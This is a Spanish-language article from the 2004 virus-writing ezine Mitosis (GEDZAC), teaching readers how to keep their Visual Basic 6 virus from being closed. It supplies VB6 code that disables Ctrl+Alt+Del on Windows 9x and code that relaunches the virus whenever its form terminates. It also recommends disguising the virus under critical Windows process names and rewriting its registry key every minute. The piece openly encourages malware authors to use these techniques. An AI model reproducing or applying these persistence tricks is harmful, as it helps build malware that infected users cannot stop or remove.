Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 02 020
(C) MITOSIS #2 E-Zine/GEDZAC 2004
Tema : Como Hacer que Nuestro Virus no se Pueda Finalizar
Autor : Morusa
Válido para : Microsoft Visual Basic 6.0
Bueno, Como ustedes saben y si no lo saben ahora sí, se puede hacer que
un exe no se pueda finalizar de tal manera que el usuario infectado no
pueda cerrarlo a menos que utilize una herramienta que lo haga exepto
el Administrador de tareas (CTRL+ALT+SUPR o CTRL+ALT+ESC en Xp).
Una forma es en W98,95,Me que es la de deshabilitar el CTRL+ALT
+SUPR por medio de la famosa API:
'Modulo
'******************************************************
Private Declare Function desactivarctrlaltsupr Lib "user32" Alias _
"SystemParametersInfoA" (ByVal uAction As Long, _
ByVal uParam As Long, lpvParam As Any, ByVal fuWinIni As Long) As Long
Private Const SPI_SCREENSAVERRUNNING = 97&
'Procedimiento o Sub para llamar a la API
Public Sub desactivar()
Dim lngRet As Long
Dim blnOld As Boolean
lngRet = desactivarctrlaltsupr(SPI_SCREENSAVERRUNNING, _
True, blnOld, 0&)
End Sub
'*******************************************************
Esta sería una forma de hacerlo pero el usuario puede activarlo de
nuevo, a menos que en un timer lo mandemos desactivar varias veces
pero esto sería demasiado fastidioso, pero en fin.
Pero existe otra forma que funciona en todos lo Sistemas Operativos
que es la clásica y que es muy usada.
En el formulario existe un evento llamado Terminate que se ejecuta
cuando la forma se cierra, entonces ahí podemos introducir un código -
que llame a nuestra aplicación para que vuelva a surgir de nuevo, que
es el de Shell, este nos sirve para ejecutar Aplicaciones en Windows
Un ejemplo sería este:
Dim fso
Private Sub Form_Load()
Set fso = CreateObject("scripting.filesystemobject")
'Aquí Cargo el objeto FSO
End Sub
Private Sub Form_Terminate()
Shell fso.BuildPath(App.Path, App.EXEName & ".exe")
'Al terminar la aplicación ejecuto el virus de nuevo
'App.Path ------>Obtiene el path de nuestro exe
'App.EXEName --->Obtiene el nombre de nuestro exe sin la extensión
'fso.BuildPath ->Genera una dirección completa de acuerdo a los
' datos dados (Construir Dirección), ejemplo:
' fso.BuildPath("C:\","Mis documentos") dá como re-
' sultado -->"C:\Mis documentos"
' fso.BuildPath("C:\Windows","Mis documentos") dá
' como resultado -->"C:\Windows\Mis documentos"
' Observación ->Genera o no genera la diagonal, esto
' a lo igual pasa con los Archivos, si
' en lugar de escribir un directorio
' escribimos el nombre de un archivo
' este genera la dirección añadiendole
' la diagonal o no, según el caso
End Sub
Otra forma que funciona sería la de Windows Xp.
Con estos nombres de procesos puedes esconder tu virus, por ejemplo
que se requiera finalizar una tarea o quitar el virus de manera manual
no se va a poder a menos de que quite la clave del regedit y reinicie
pero para esto nadamas con escribir en el regedit cada minuto la clave,
pues no lo detendría; la solución mas viable y fácil sería por el -
afamado MS-DOS que es la de borrar el archivo (Ya sabiendo el nombre y
dirección del EXE).
Los procesos son: Winlogon.exe
Lsass.exe
Csrss.exe
Smss.exe
Services.exe
A estas aplicaciones los puedes encontrar en:
Msgbox Fso.GetSpecialFolder(1)
Si tratas de finalizarlas en el Administrador De Tareas te mandará
un mensaje que dice que es un proceso crítico y no se puede finalizar.
Tu tienes la elección.
Sólo Hazlo.
;-) By Morusa. México
(C) MITOSIS #2 E-Zine/GEDZAC 2004